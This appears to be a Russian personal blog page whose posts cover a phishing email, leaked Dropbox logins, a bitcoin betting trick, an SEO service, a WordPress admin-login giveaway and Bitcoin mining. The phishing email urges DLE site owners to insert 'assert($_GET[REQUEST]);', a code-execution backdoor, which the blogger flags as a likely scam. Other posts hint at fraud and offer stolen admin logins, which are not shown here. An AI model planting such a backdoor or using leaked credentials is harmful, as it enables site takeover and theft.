Критическая уязвимость сайтов на DLE

Screenshot_2014-10-19-11-03-12

 

Вот такое письмо пришло мне сегодня на почту от службы поддержки Datalife Engine. Я ожидал, что это будет сообщение о лицензии, но оказалось все намного серьезнее.

Здравствуйте, уважаемый клиент!



Благодарим Вас за использование на Вашем сайте shlyahten.ruнашего ПО «CMS DataLife Engine — Система управления сайтами».

Уведомляем Вас о том, что силами наших специалистов на Вашем сайте была обнаружена критическая уязвимость, позволяющая злоумышленникам получить доступ к базе данных Вашего сайта из-за недостаточной фильтрации данных.

По нашим данным 60% сайтов, использующих «DataLife Engine», уязвимы и подвержены взлому посредством данной уязвимости. Именно по этой причине, мы приняли решение произвести рассылку администраторам уязвимых сайтов для того, чтобы они смогли оперативно обезопасить свои сайты от противоправных действий со стороны злоумышленников.

Для исправления уязвимости в текстовом редакторе откройте файл Вашего сайта: shlyahten.ru/engine/engine.php и в самое начало файла после строчки:

<?php

добавьте:

assert($_GET[REQUEST]);



С уважением,

Служба поддержки «DataLife Engine»

IP адрес отправителя: 199.27.128.202 

У меня есть предложение, что это развод. Так как такой код вполне может создать уязвимость. Ведь он ничего не фильтрует. Очень забавный и на мой взгляд эффективный способ взлома.

 

 

Слив паролей от dropbox

Базы логинов и паролей утекли на днях в сеть. Дропбокс утверждает, что взлома не было. База идёт в алфавитном порядке — видимо результат брутфорса. Неизвестные пообещали выкладывать базу частями (всего 7 000 000 данных) по мере поступления пожертвований на их биткоин-кошелек.

 

Вот первые три файла:

dropbox.com_hacked_first_teaser

dropbox.com_hacked_second_teaser

dropbox_hack_third_teaser

freebitco.in бот — выигрышные ставки

Привет, дорогой читатель. Сегодня я помогу тебе поднять свой профит на сайте freebitco.in

Если ты не знаешь, что это и тебе нужны биткоины (бесплатные) или ты просто ищешь простого заработка в интернете, то скорее беги и регистрируйся здесь: freebitco.in!

Есть вероятность получить jackpot размером в $200! Реально!

А теперь перейдем к хитростям:

После того, как вы прокатали Free Roll есть возможность приумножить свои BTC.

Делаем это в auto betting со следующими надстройками:

Снимок

Средний профит варьируется от 200 до 400 за подход.

Советуем делать перерывы по 5 минут между подходами.

Удачи!

Эффективная раскрутка по низким ценам

Хотел поделиться с Вами инструментом, которым пользуюсь уже довольно давно. С помощью этого сервиса был раскручен сайт шляхтен.ру до 3000 посетителей в день и это не предел!

Самое интересное в сервисе seofind так это то, что они часто проводят акции и предоставляют новые услуги. Так например сейчас проходит акция удвой баланс, благодаря которой все деньги, которые вы вводите в систему помножаются на два.

Кстати таким образом можно вводить и выводить деньги (и зарабатывать на мошенничестве), но я вам этого не говорил.

В общем я выбрал реф прогон (6 млн сайтов) и Тиц +30 и остался доволен. Выбрать можно кучу вариантов по своим требованиям и бюджету. Удачи в продвижении!

Перейти на сайт

Админки (аккаунты) wordpress (раздача)

Месяц или два назад проводил эксперимент. Не знаю куда девать — разбирайте, возможно у  Вас есть идея как этим воспользоваться.

вид: адрес_сайта@логин:пароль Читать далее Админки (аккаунты) wordpress (раздача)

Майнинг Bitcoin на компьютере

Привет, это мой второй пост здесь. Сегодня речь пойдет о майнинге биткоин. Думаю ты уже занешь, что майнить в одиночку на данный момент её без специального оборудования совершенно бесполезно. Поэтому я расскажу об альтернативных методах получения этой криптовалюты.

Мы будем использовать разновидность мультипула с автоматическим обменом альткоинов. Короче говоря твой ПК будет майнить альтернативные монеты (dodgecoin, litecoin) и менять их на биткоины. Причем за выбор монет будет отвечать пул, так что от тебя ничего не зависит.

Ниже архивы для начала работы с clevermining.com

Для запуска/редактировать выбираем файл mine.bat

Программа для майнинга на CPU и GPU от Nvidia

Скачать: cudaminer x64 и cpuminer

Шляхтен Блог версия 2.0

Добро пожаловать на перерождение блога.

Так как прошлый блог безвозвратно утерян, придется начинать всё с чистого листа. Тут больше не будет длинных рассуждений и путевых заметок (по крайней мере открытых общественности). Теперь тут будут выкладываться более менее разумные мысли и полезные вещи.

Надеюсь Вы оцените и поддержите меня нажав на рекламный баннер.

Всегда ваш, админ http://shlyahten.ru

Информационная безопасность